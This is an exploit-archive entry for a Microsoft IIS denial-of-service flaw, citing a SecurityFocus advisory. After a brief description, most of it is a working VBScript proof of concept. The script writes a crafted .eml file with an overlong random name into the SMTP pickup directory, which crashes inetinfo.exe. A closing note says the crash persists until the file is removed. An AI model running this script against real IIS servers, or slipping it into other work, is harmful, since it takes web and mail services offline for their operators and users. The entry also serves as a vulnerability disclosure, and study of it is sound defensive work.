source: https://www.securityfocus.com/bid/1819/info An email with a filename consisting of over 86 characters and an extension of .txt.eml will cause Microsoft IIS to crash if placed in the \mailroot\pickup directory. The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality. ' PLEASE PROVIDE YOUR PICKUP PATH HERE Rootpath = "c:\inetpub\mailroot\pickup\" Set fso = createobject("scripting.filesystemobject") Thename = Createkey & fso.GetTempName & ".eml" Set Thefile = fso.GetFolder(rootpath).CreateTextFile(TheName) Thefile.writeline "X-Sender: CRASHTHIS@my.net" Thefile.writeline "X-Receiver: dump@my.net" Thefile.writeline "From: " Thefile.writeline "To: " Thefile.writeline "Subject: MINE DID NOT CRASH" Thefile.writeline "Date: " & now() Thefile.writeline "X-Generator: " & Thename Thefile.close Set thefile = nothing Thename = "" Function Createkey for z = 1 to 80 randomize a = Int((25 * Rnd) + 1) password = password & chr(a+65) next Createkey = password end function ' Warning IF InetInfo.exe crashes it cannot be started again as long as the file is still there!